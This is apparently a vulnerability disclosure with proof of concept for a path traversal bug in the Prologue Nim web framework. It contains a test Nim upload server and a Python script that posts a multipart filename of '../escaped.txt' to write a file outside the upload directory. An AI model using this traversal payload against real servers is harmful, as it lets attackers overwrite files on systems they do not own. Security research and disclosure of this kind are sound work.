https://github.com/planety/prologue/blob/devel/src/prologue/core/context.nim#L168 exposes the client filename, and https://github.com/planety/prologue/blob/devel/src/prologue/core/context.nim#L173 writes it with writeFile(dir / uploadFile.filename, uploadFile.body) when no override filename is supplied.
import ../src/prologue
import std/os
from std/nativesockets import Port
proc upload(ctx: Context) {.async, gcsafe.} =
createDir("pocs/runtime/multipart/uploadtmp")
ctx.getUploadFile("file").save("pocs/runtime/multipart/uploadtmp")
await ctx.respond(Http200, "uploaded")
let settings = newSettings(
address = "127.0.0.1",
port = Port(9101),
appName = "multipart-filename-traversal-poc",
debug = true
)
var app = newApp(settings = settings)
app.post("/upload", upload)
app.run()
#!/usr/bin/env python3
import http.client
import pathlib
import uuid
boundary = "----codex-" + uuid.uuid4().hex
body = (
f"--{boundary}\r\n"
'Content-Disposition: form-data; name="file"; filename="../escaped.txt"\r\n'
"Content-Type: text/plain\r\n\r\n"
"upload-owned\r\n"
f"--{boundary}--\r\n"
).encode("utf-8")
conn = http.client.HTTPConnection("127.0.0.1", 9101, timeout=5)
conn.request(
"POST",
"/upload",
body=body,
headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
)
resp = conn.getresponse()
print(resp.status)
print(resp.read().decode("utf-8", errors="replace"))
escaped = pathlib.Path("pocs/runtime/multipart/escaped.txt")
print(escaped)
print(escaped.read_text() if escaped.exists() else "missing")
https://github.com/planety/prologue/blob/devel/src/prologue/core/context.nim#L168 exposes the client filename, and https://github.com/planety/prologue/blob/devel/src/prologue/core/context.nim#L173 writes it with
writeFile(dir / uploadFile.filename, uploadFile.body)when no override filename is supplied.